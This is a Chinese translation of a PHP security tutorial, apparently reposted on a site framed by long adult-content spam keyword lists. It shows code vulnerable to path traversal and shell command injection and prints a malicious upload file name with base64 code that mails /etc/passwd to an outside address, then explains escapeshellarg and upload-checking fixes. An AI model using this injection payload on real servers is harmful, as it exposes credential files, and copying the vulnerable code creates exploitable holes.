久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術文章
文章詳情頁

PHP 安全及相關

瀏覽:58日期:2024-01-08 17:03:59

關注安全問題的重要性看到的遠非全部

阻止用戶惡意破壞你的程式最有效卻經(jīng)常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實例函數(shù):

<?phpfunction write_text($filename, $text='') {static $open_files = array();// 如果文件名空,關閉全部文件if ($filename == NULL) {foreach($open_files as $fr) {fclose($fr);}return true;}$index = md5($filename);if(!isset($open_files[$index])) {$open_files[$index] = fopen($filename, 'a+');if(!$open_files[$index]) return false;}fputs($open_files[$index], $text);return true;}?>

這個函數(shù)帶有兩個缺省參數(shù),文件名和要寫入文件的文本。函數(shù)將先檢查文件是否已被打開;如果是,將使用原來的文件句柄。否則,將自行創(chuàng)建。在這兩種情況中,文本都會被寫入文件。如果傳遞給函數(shù)的文件名是NULL,那么所有打開的文件將被關閉。下邊提供了一個使用上的實例。如果開發(fā)者以下邊的格式來寫入多個文本文件,那么這個函數(shù)將清楚和易讀的多。讓我們假定這個函數(shù)存在于一個單獨的文件中,這個文件包含了調用這個函數(shù)的代碼。下邊是一個這樣的程式,我們叫它quotes.php:

<html><body><form action='<?=$_SERVER['PHP_SELF']?>' method='get'>Choose the nature of the quote:<select name='quote' size='3'><option value='funny'>Humorous quotes</option><option value='political'>Political quotes</option><option value='love'>Romantic Quotes</option></select><br />The quote: <input type='text' name='quote_text' size='30' /> <input type='submit' value='Save Quote' /></form></body></html>

<?phpinclude_once('write_text.php');$filename = '/home/web/quotes/{$_GET['quote']}';$quote_msg = $_GET['quote_text'];if (write_text($filename, $quote_msg)) {echo '<center><hr><h2>Quote saved!</h2></center>';} else {echo '<center><hr><h2>Error writing quote</h2></center>';}write_text(NULL);?>

如同你看到的,這位開發(fā)者使用了write_text()函數(shù)來創(chuàng)建一個體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個文本文件中。不幸的是,開發(fā)者可能沒有想到,這個程式也允許了惡意用戶危害web server的安全。也許現(xiàn)在你正撓著頭想著究竟這個看起來很無辜的程式怎樣引入了安全風險。如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

當這個URL傳遞給web server 時將會發(fā)生什么?

顯然,quotes.php將被執(zhí)行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data。

顯然,這不是我們希望的行為,惡意用戶可能通過把quote指定為../../../etc/passwd來訪問UNIX密碼文件從而創(chuàng)建一個帳號(盡管這需要web server以superuser運行程式,如果是這樣的,你應該停止閱讀,馬上去修復它)。如果/home/web/quotes/可以通過瀏覽器訪問,可能這個程式最嚴重的安全問題是它允許任何用戶寫入和運行任意PHP程式。這將帶來無窮的麻煩。

這里有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關的數(shù)組來存放文件名。如果用戶輸入的文件存在于這個數(shù)組中,就可以安全的寫入。另一個想法是去掉所有的不是數(shù)字和字母的字符來確保沒有目錄分割符號。還有一個辦法是檢查文件的擴展名來保證文件不會被web server執(zhí)行。

原則很簡單,作為一個開發(fā)者你必須比程式在你希望的情況下運行時考慮更多。

如果非法數(shù)據(jù)進入到一個form元素中會發(fā)生什么?惡意用戶是否能使你的程式以不希望的方式運行?什么方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認這些可能不安全的鏈接是否安全很重要。

常見的涉及安全的錯誤這里給出一些要點,一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表

錯誤1。信賴數(shù)據(jù)這是貫穿于我關于PHP程式安全的討論的主題,你決不能相信一個來自外部的數(shù)據(jù)。不管它來自用戶提交表單,文件系統(tǒng)的文件或者環(huán)境變量,任何數(shù)據(jù)都不能簡單的想當然的采用。所以用戶輸入必須進行驗證并將之格式化以保證安全。

錯誤2。在web目錄中存儲敏感數(shù)據(jù)任何和所有的敏感數(shù)據(jù)都應該存放在獨立于需要使用數(shù)據(jù)的程式的文件中,并保存在一個不能通過瀏覽器訪問的目錄下。當需要使用敏感數(shù)據(jù)時,再通過include 或 require語句來包含到適當?shù)腜HP程式中。

錯誤3。不使用推薦的安全防范措施PHP手冊包含了在使用和編寫PHP程式時關于安全防范的完整章節(jié)。手冊也(幾乎)基于案例清楚的說明了什么時候存在潛在安全風險和怎么將風險降低到最低。又如,惡意用戶依靠開發(fā)者和管理員的失誤得到關心的安全信息以獲取系統(tǒng)的權限。留意這些警告并適當?shù)牟扇〈胧﹣頊p小惡意用戶給你的系統(tǒng)帶來真正的破壞的可能性。 在PHP中執(zhí)行系統(tǒng)調用在PHP中有很多方法可以執(zhí)行系統(tǒng)調用。

比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執(zhí)行系統(tǒng)調用。如果不適當?shù)氖褂蒙线呥@些函數(shù)將會為惡意用戶在你的服務器上執(zhí)行系統(tǒng)命令打開大門。像在訪問文件時,絕大多數(shù)情況下,安全漏洞發(fā)生在由于不可靠的外部輸入導致的系統(tǒng)命令執(zhí)行。

使用系統(tǒng)調用的一個例子程式考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然后把它移動到指定的目錄(默認為/usr/local/archives/)。代碼如下:<?php$zip = '/usr/bin/zip';$store_path = '/usr/local/archives/';

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;

if (file_exists($cmp_name)) {$savepath = $store_path.$filename;rename($cmp_name, $savepath);}}}?>

<form enctype='multipart/form-data' action='<?php echo $_SERVER['PHP_SELF'];?>' method='POST'><input type='HIDDEN' name='MAX_FILE_SIZE' value='1048576'>File to compress: <input name='file' type='file'><br /><input type='submit' value='Compress File'>

</form>

雖然這段程式看起來相當簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴重的安全問題存在于我們執(zhí)行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點:

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;...欺騙程式執(zhí)行任意shell命令雖然這段代碼看起來相當安全,它卻有使任何有文件上傳權限的用戶執(zhí)行任意shell命令的潛在危險!

準確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這里,我們希望壓縮后的文件使用從客戶機上傳時的文件名(帶有 .zip擴展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機時的文件名)。

在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統(tǒng)有特殊意義字符的文件來達到自己的目的。舉個例子,如果用戶按照下邊的形式創(chuàng)建一個空文件會怎么樣?(UNIX shell提示符下)[user@localhost]# touch ';php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';'這個命令將創(chuàng)建一個名字如下的文件:

php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';看起來很奇怪?讓我們來看看這個“文件名”,我們發(fā)現(xiàn)它很像使CLI版本的PHP執(zhí)行如下代碼的命令:

<?php$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);?>

如果你出于好奇而顯示$code變量的內(nèi)容,就會發(fā)現(xiàn)它包含了mailbaduser@somewhere.com< /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執(zhí)行系統(tǒng)調用來壓縮文件,PHP實際上將執(zhí)行如下語句:

/usr/bin/zip /tmp/;php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';.zip /tmp/phpY4iatI讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋為一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執(zhí)行:

[user@localhost]# /usr/bin/zip /tmp/[user@localhost]# php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);'[user@localhost]# .zip /tmp/phpY4iatI如你所見,這個看起來無害的PHP程式突然變成執(zhí)行任意shell命令和其他PHP程式的后門。雖然這個例子只會在路徑下有CLI版本的PHP的系統(tǒng)上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。

對抗系統(tǒng)調用攻擊

這里的關鍵仍然是,來自用戶的輸入,不管內(nèi)容如何,都不應該相信!問題仍然是如何在使用系統(tǒng)調用時(除了根本不使用它們)避免類似的情況出現(xiàn)。為了對抗這種類型的攻擊,PHP提供了兩個函數(shù),escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函數(shù)是為了從用作系統(tǒng)命令的參數(shù)的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設計的。這個函數(shù)的語法如下:

escapeshellarg($string)$string所在處是用于過濾的輸入,返回值是過濾后的字符。執(zhí)行時,這個函數(shù)將在字符兩邊添加單引號,并轉義原來字符串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執(zhí)行系統(tǒng)命令之前加上這些行:

$cmp_name = escapeshellarg($cmp_name);$tmp_name = escapeshellarg($tmp_name);我們就能通過確保傳遞給系統(tǒng)調用的參數(shù)已經(jīng)處理,是一個沒有其他意圖的用戶輸入,以規(guī)避這樣的安全風險。

escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層操作系統(tǒng)有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內(nèi)容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符$string = ''hello, world!';evilcommand'將變?yōu)椋?/P>

'hello, world';evilcommand如果這個字符串用作系統(tǒng)調用的參數(shù)它將仍然不能得到正確的結果,因為shell將會把它分別解釋為兩個分離的參數(shù): 'hello 和 world';evilcommand。如果用戶輸入用于系統(tǒng)調用的參數(shù)列表部分,escapeshellarg()是一個更好的選擇。保護上傳的文件在整篇文章中,我一直只著重講系統(tǒng)調用如何被惡意用戶劫持以產(chǎn)生我們不希望結果。但是,這里還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:

$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);if (file_exists($tmp_name)) {上邊片斷中的代碼行導致的一個潛在安全風險是,最后一行我們判斷上傳的文件是否實際存在(以臨時文件名$tmp_name存在)。

這個安全風險并不來自于PHP自身,而在于保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。為了防止這樣的情況發(fā)生,PHP提供了is_uploaded_file()函數(shù),它和file_exists()一樣,但是它還提供文件是否真的從客戶機上上傳的檢查。

在絕大多數(shù)情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數(shù),來配合is_uploaded_file()。這個函數(shù)和rename()一樣用于移動文件,只是它會在執(zhí)行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下:

move_uploaded_file($filename, $destination);在執(zhí)行時,函數(shù)將移動上傳文件$filename到目的地$destination并返回一個布爾值來標志操作是否成功。

注: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經(jīng)5年左右了。 英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html

標簽: PHP
主站蜘蛛池模板: 欧美激情欧美激情在线五月 | 中文字幕在线免费视频 | 91在线观看视频 | 久久青青操 | 精品一区不卡 | 国产中文一区 | 色婷婷综合久色 | 91精品久久久久久 | 国产日韩欧美一区二区 | 免费观看一区二区三区 | 国产成人在线一区二区 | 成年人视频在线免费观看 | 国产视频网 | 国产黄色在线观看 | 欧美一级片免费看 | 国产二区在线播放 | 人人艹人人爽 | 天天天操 | 91精品国产一区二区三区蜜臀 | 精品毛片 | 欧美激情综合五月色丁香小说 | 欧美黄色一级毛片 | 69免费视频| 嫩草91| 亚洲中午字幕 | 一区二区三区免费 | 欧美日韩中文 | 在线中文日韩 | 黄网站色大毛片 | av黄色在线 | 久久久久亚洲av毛片大全 | 人人干天天操 | 亚州视频在线 | 2020国产在线 | 韩日精品一区 | av在线干| 成人在线一区二区三区 | 免费av一区二区三区 | 欧美日韩久久久 | 欧美日一区二区 | 欧美三级免费观看 | 亚洲社区在线 | 色婷婷国产精品综合在线观看 | 日韩视频一区二区 | 伊人伊人 | 人成亚洲 | 剑来在线观看 | 六月婷操 | a在线观看| 亚洲一区在线观看视频 | 超碰在线9| 成人三级在线 | 亚洲精品视频免费 | 免费观看国产精品 | 国产精品日韩欧美一区二区三区 | 国产婷婷在线观看 | 日日爽天天操 | 91中文在线| 欧美日韩精品网站 | 99精品欧美一区二区三区 | 天堂久久一区 | 国产精品美女久久久久久久久久久 | 四虎欧美 | 国产欧美日本 | 免费三片在线观看网站 | 国产精品毛片久久久久久久 | 日本在线免费电影 | 日韩三级av在线 | 99精品全国免费观看视频软件 | 日韩在线播放网址 | 999久久久久久久久 国产欧美在线观看 | 麻豆沈芯语在线观看 | www天天干| 国产真实乱全部视频 | av超碰在线| 日韩中文字幕 | 日日操狠狠操 | 国产日本欧美在线 | 亚洲综合社区 | 一级毛片av| 欧美激情在线播放 | 欧美中文一区 | 亚洲一区二区精品视频 | 日韩一区二区三区在线观看 | 一区二区三区在线观看免费 | 欧美日韩国产一区二区在线观看 | 91社影院在线观看 | 免费视频爱爱太爽了 | 日韩精品视频在线观看免费 | 成年人网站在线免费观看 | 亚洲欧美激情精品一区二区 | 欧美成人免费视频 | 亚洲综合精品 | 日韩在线精品视频 | 日韩一级视频 | 日韩中文字幕在线 | 亚洲国产成人精品女人 | 精品久久中文字幕 | 中文字幕av在线 | 欧美亚洲国产一区二区三区 | 国产精品久久久久久久 | www久| 一级高清视频 | 国产九九精品 | 国产二区三区 | 中文字幕亚洲欧美日韩在线不卡 | 久久av网| 欧洲精品视频在线观看 | 日本三级电影网站 | 国产91在线免费观看 | 国产午夜手机精彩视频 | 国产精品久久久久久久一区探花 | 日韩高清黄色 | 国产精品成人一区二区三区夜夜夜 | 亚洲天堂av网 | 日本爱爱 | 中文字幕日韩在线视频 | 欧美一区二区三区视频 | 大陆一级毛片免费视频观看 | 日韩爽妇网 | 91精品国产99久久久久久红楼 | 亚洲欧美激情精品一区二区 | 最近中文字幕在线视频1 | 91麻豆视频 | 欧美久久精品一级c片 | 亚洲精品成人av | 99久久日韩精品视频免费在线观看 | 亚洲免费在线播放 | 神马电影午夜 | 国产中文字幕在线观看 | 欧美精品一区三区 | 国产精品成人3p一区二区三区 | 天堂精品 | 国产精品久久久久久久久久 | 精品国产一区二区三区成人影院 | 国产精品欧美一区二区三区 | 久草成人网 | 91精品午夜 | 国产精品久久久久久久久久 | 久久亚洲国产精品 | 精品视频一区二区三区 | 亚洲www永久成人夜色 | 亚洲视频在线观看免费 | 国产精品自产拍在线观看桃花 | 成人h漫在线观看 | 久久精品亚洲一区二区 | 欧洲精品在线观看 | 日韩精品一区二区三区免费观看视频 | 亚洲国产精品99久久久久久久久 | 成人免费一区二区三区视频网站 | 北条麻妃国产九九九精品小说 | 欧美日韩在线一 | 9191视频| 免费福利网站 | 亚洲一区视频 | 欧美精品综合 | 日本一区二区视频 | 亚洲国产成人在线 | 日韩在线中文 | 2021狠狠干| 国产永久免费 | 国产在线观看免费 | 91精品国产综合久久久久久蜜臀 | 一区二区三区四区在线 | www.色在线| 99re免费视频精品全部 | 岛国一区 | 亚洲免费在线视频 | 亚洲国产成人在线 | 国产综合区 | 欧美激情一区二区 | 亚洲一区二区三区在线免费观看 | 午夜影视av | a级网站在线观看 | 精品无人乱码一区二区三区 | 精品在线视频一区 | 色偷偷888欧美精品久久久 | 久草 在线 | 欧美天堂在线观看 | 亚洲不卡视频在线 | 97国产精品视频人人做人人爱 | 中国大陆高清aⅴ毛片 | 久久久涩| 中文字幕亚洲一区 | 成人在线 | 久久久成人精品 | 日韩中文字幕在线观看 | 日韩视频在线免费观看 | av影片在线 | 日韩精品无码一区二区三区 | 欧美综合一区二区三区 | 天天宗合网 | 日韩一二区视频 | 亚洲成人综合网站 | 精品成人免费一区二区在线播放 | 国产精品免费观看 | 日韩在线观看中文字幕 | 国精产品一区二区三区有限公司 | 成人中文视频 | 色视频网站在线观看 | 成人一区电影 | 日韩精品久久 | 天天操天天干天天干 | 欧美白人做受xxxx视频 | 精品视频免费观看 | 精品国产黄a∨片高清在线 激情网站免费 | 国产色 | 久久精品亚洲精品 | 久久99国产精品久久99大师 | 在线不卡一区 | 欧美在线一区二区 | 91午夜精品| 国产精品网站在线 | 国产一区二区视频在线观看 | 亚洲免费视频大全 | 中文字幕久久精品 | 久久久精品久久久 | 日韩在线免费 | 国产羞羞视频在线观看 | 天天爽视频 | 国产精品一区二区三区在线 | 欧美一区二区三区在线观看视频 | 日日摸天天爽天天爽视频 | 亚洲二区在线观看 | 欧美视频一级片 | 日韩在线观看中文字幕 | 欧美日韩精品免费观看视频 | 无码一区二区三区视频 | 免费无遮挡www小视频 | 99精品在线 | av大片在线| 美女视频一区 | 欧美亚洲高清 | av成人毛片| 国产精品综合 | 欧美久久久久久久久久 | 国产高清一区二区 | 久久九精品 | 精品久久久中文字幕 | 91精品国产人妻国产毛片在线 | 免费看的av | 久草在线观看福利视频 | 国产午夜精品一区二区三区嫩草 | 精品不卡 | 蜜桃视频在线播放 | 欧美一区二区三区成人 | 一区二区日韩精品 | 国产精品一码二码三码在线 | 久久久久久久久久毛片 | 99伊人 | 91九色porny首页最多播放 | 免费国产网站 | 国产日韩精品一区二区 | 亚洲第一黄 | 久久精品一区二区 | 日韩av资源站 | 亚洲精品3区 | 中文字幕高清视频 | 精品久久久久久久久久久久久久 | 欧美日韩成人免费 | 午夜午夜精品一区二区三区文 | 亚洲精品一区二区三区在线看 | 99re在线| 久久久久一区二区三区 | 欧美日本国产 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 国产精品伊人影院 | 日韩欧美h | 精品96久久久久久中文字幕无 | 99视频精品 | 中文字幕二区 | 精品国产乱码一区二区三区四区 | 在线观看免费av电影 | 久久久精品网站 | 91久久精品日日躁夜夜躁欧美 | 青青草精品 | 精品视频在线免费观看 | 欧美日韩在线第一页 | www.99 | 欧美国产免费 | 黄网站免费在线 | 精品久久久久久久久久久久 | 精品免费久久久久 | 色综合88 | 91精品久久久久久久久久入口 | 午夜欧美 | 91精品国产欧美一区二区成人 | 国产精品中文字幕在线播放 | 黄色影片网址 | 超碰8| 免费午夜视频 | 欧美午夜精品一区二区三区电影 | 中文字幕一区二区三区乱码在线 | 97伦理片| 欧美日韩国产精品 | 精品久久久久久亚洲精品 | 免费观看一级毛片 | av在线免费观看网址 | 欧美日韩视频在线第一区 | 久久久久久香蕉 | 成人网av | 欧洲亚洲精品久久久久 | 欧美在线a| 国产精久久一区二区三区 | 国产成人久久 | 亚洲日本国产 | 伊人一区 | 99热69| 色人久久 | 国产精品伦一区二区三级视频 | 日本成年人免费网站 | av高清在线免费观看 | 日韩av免费 | 一级片网 | 天天爽夜夜爽夜夜爽精品视频 | 亚洲四区 | 成人欧美一区二区三区在线观看 | 国产精品99久久免费观看 | 福利片中文字幕 | 亚洲精选一区二区 | 日韩欧美国产精品综合嫩v 亚洲欧美日韩在线 | 国产综合久久久久久鬼色 | 成年人视频在线免费观看 | 亚洲国产高清在线 | 91久久精品久久国产性色也91 | 99精品99| 国产情侣免费视频 | 一区二区三区国产 | 91精品国产91久久久久久吃药 | 欧美第一色 | 亚洲国产成人在线视频 | 日操视频 | 国产精品久久久久aaaa | 人妖av | 国产日韩精品久久 | 在线播放国产一区二区三区 | 久久久久久国产精品 | 国产亚洲一区二区三区在线观看 | 精品美女久久久 | 99精品国产在热久久 | 中文字幕一区在线 | 久久这里只有精品免费 | 毛片入口 | 国产女人网 | 中文字幕在线视频第一页 | 免费国产视频 | 天天干天天看天天操 | 一区二区日韩精品 | 免费看国产一级特黄aaaa大片 | 国产一级视频免费观看 | 国产福利一区二区 | 精品国产仑片一区二区三区 | 一级欧美片 | 中文字幕 在线观看 | 久久久久久国产精品高清 | 山岸逢花在线观看无删减 | 国产精品视频 | 亚洲综合一区二区 | 国产成人久久精品一区二区三区 | 色婷婷综合久久 | 亚洲日本中文 | 亚洲国产成人av | 国产精品第一区 | 亚洲国产高清高潮精品美女 | 亚州中文字幕蜜桃视频 | 精品96久久久久久中文字幕无 | 日本中文字幕一区 | 久久草草影视免费网 | 黄色毛片免费看 | 日韩在线中文字幕 | 一级毛片大全免费播放 | 亚洲精美视频 | 国产精品一区二区三区四区 | 91操碰 | 色猫猫国产区一区二在线视频 | 国产一区二区免费 | 国产精品一卡二卡 | 欧洲一区二区三区 | 欧美日韩一二区 | www.久久久| 在线免费观看av片 | 中文字幕成人 | 国产一区二区三区精品久久久 | 亚洲天堂男人 | 国产精品久久久久久久久久妞妞 | 久久精品国产一区二区三 | 欧美精品一区二区三区蜜桃视频 | 午夜免费电影 | 99精品欧美一区二区三区综合在线 | 国产情侣免费视频 | 欧美人体一区二区三区 | 国产精品免费视频一区 | 一区二区成人在线 | 日韩精品视频免费专区在线播放 | 精品国产一区二区三区成人影院 | av一级在线观看 | 国产精品精品 | 午夜免费视频 | 中文字幕 国产精品 | 天天草天天| 日韩在线精品视频 | 欧美一级黄带 | 欧美日韩一区二区中文字幕 | 在线国产视频 | 精品一区二区三区在线观看 | 一区二区三区欧美在线 | 日本二区视频 | 久久亚洲精品中文字幕 | 97色在线观看免费视频 | 国产一区二区免费 | 欧美一级视频 | 国产第一区在线观看 | 国产高清视频在线观看 | 欧美第一视频 | 日韩精品毛片 | 国产精品久久久久影院色老大 | www.成人| 久久com | 国产精品久久久久久久久费观看 | 国产一区a| 一级毛片一级毛片一级毛片 | 91av久久 | 一区二区免费在线视频 | 日韩三级网 | 亚洲一区二区在线免费观看 | 中文字幕三区 | 午夜影院免费观看 | 狠狠ri| 国产精品美女久久久久久久久久久 | 在线一区观看 | 日韩精品免费在线视频 | 美女高潮久久久 | 久久久国产视频 | 亚洲综合在线一区 | 91视频国产区 | 亚洲永久免费视频 | 欧美综合激情 | 日韩三级电影在线免费观看 | 国产精品久久9 | 国产欧美综合视频 | 亚洲成人中文字幕 | 久久久av | 欧美久久久久久久久久久久 | 国产在线中文字幕 | 亚洲九九 | 国产精品2区 | 国产第一区二区 | 亚洲精品v | 日本三级在线观看网站 | 久草视频在线首页 | 色婷婷在线视频观看 | 国产区在线 | 精品视频 免费 | 国产精品一二区 | 日韩精品一区二区在线观看 | av77| 中文字幕观看 | 国产aaaaav久久久一区二区 | 午夜视频免费 | 一级片在线观看网站 | 四虎com | 刘亦菲的毛片 | 国产成人精品一区二区三区四区 | 国产日韩欧美 | 成人免费黄色小视频 | 国产精品一区二区三区四区 | 一区二区三区国产精品 | 精品日韩欧美一区二区三区 | 久草最新| 日韩中文字幕在线播放 | 一区二区日韩精品 | 欧美国产日韩精品 | 欧美日韩国产高清 | 久久久久国产一区二区三区四区 | 成人精品久久久 | 高清视频一区 | 亚洲视频观看 | 奇米二区 | 欧美性网 | 国内精品视频 | 激情的网站 | 在线精品国产一区二区三区 | 欧美一区二区在线看 | 国产成人精品一区二区三区视频 | 国产在线中文字幕 | 国产精品18久久久久久首页狼 | 欧美xxxx性| 久久99精品久久久久国产越南 | 国产精品视频专区 | 色呦呦网站在线观看 | 不用播放器的免费av | 午夜视频免费网站 | 国产一区二区av在线 | 国产一区成人 | 天天久久 | 日韩精品小视频 | 亚洲免费观看 | 国产精品久久久久久福利一牛影视 | 亚洲欧美成人影院 | 亚洲免费在线视频 | 欧美a级成人淫片免费看 | 一本久久a久久精品亚洲 | 婷婷国产精品 | 久久精品视频一区 | 国产成人久久精品一区二区三区 | 精品人人 | 国产ts余喵喵和直男多体位 | 日韩第一区 | 欧美日韩视频一区二区 | 亚洲一区av | 日本毛片视频 | 亚洲aⅴ| 国产国拍亚洲精品av | 国产欧美综合一区二区三区 | 国产精品久久久久久久一区探花 | 91久久国产综合久久91精品网站 | 国产不卡免费 | 日韩精品第一页 | 在线免费毛片 | 91久久国产综合久久蜜月精品 | 午夜私人影院 | 岛国av免费看 | 久久久久久久久99精品 | 97在线超碰 | 免费一级在线观看 | 欧美成人一区二免费视频软件 | 999久久久国产999久久久 | 色天天久久| 日韩超级大片免费看国产国产播放器 | 国产精品毛片久久久久久久 | 成人精品视频一区二区三区 | 久久久精品区 | 国产成人久久精品麻豆二区 | 国产精品1页 | 国产精品不卡 | 日本色综合 | 毛片视频网站 | 青青草国产成人av片免费 | 日韩亚洲视频在线观看 | 欧美一区二区在线视频 | 精品综合 | 日韩免费激情视频 | 欧洲精品| 久久精品久久综合 | 中文字幕第100页 | 国产激情视频在线观看 | 成人伊人 | 国产精品免费观看 | 久久久精品欧美一区二区免费 | 中文字幕视频在线免费 | 国产三级在线观看 | 久久综合久久综合久久 | 亚洲黄网在线观看 | 伊人狠狠干 | 婷婷免费在线观看 | 国产综合久久久久久鬼色 | 中文字幕在线免费观看 | 欧美1级 | 国产高清久久 | 国产乱码精品一区二区三区忘忧草 | 日韩激情视频一区 | 久久精品免费一区二区三区 | 久久精品欧美一区二区三区麻豆 | 神马午夜 | 黄色国产视频 | 美女黄网站视频免费 | 日韩成人精品在线 | 久久久久久成人 | 国产精品一区二 | 夜本色| 国产一区二区三区四区 | 欧美激情一区二区三区 | 久久精品影视 | 一区二区三区在线观看国产 | 午夜激情影院 | 日批免费视频 | 一级网站在线观看 | 久久成人一区 | 精品第一区 | 成人免费在线电影 | 成人精品视频在线观看 | 久久狠狠| 99热新| 午夜精品久久久久久久久久久久 | 国内精品国产成人国产三级粉色 | 国产免费黄色 | 亚洲中午字幕在线观看 | 国产精品久久久久久久久久 | 亚洲精品一区二区三区中文字幕 | 中文亚洲| 国产视频精品一区二区三区 | 中文在线播放 | 亚洲精品国产二区 | 99精品一区二区 | 久久久久久香蕉 | 嫩草视频入口 | 国产成人在线网站 | 日日摸日日碰夜夜爽亚洲精品蜜乳 | 91久久| 久久毛片| 一级黄色大片免费观看 | 国产中文字幕一区 | 91最新网站 | 欧美一级高潮片免费的 | 欧美精品www | 国产精品女教师av久久 | 国产黄色一级片 | 成人精品一区二区三区 | 日韩中文一区二区三区 | 在线中文字幕av | 在线播放黄色片网站 | 一区二区三区影院 | 亚洲色图图片 | 国产精品免费在线 | 国产精品成人3p一区二区三区 |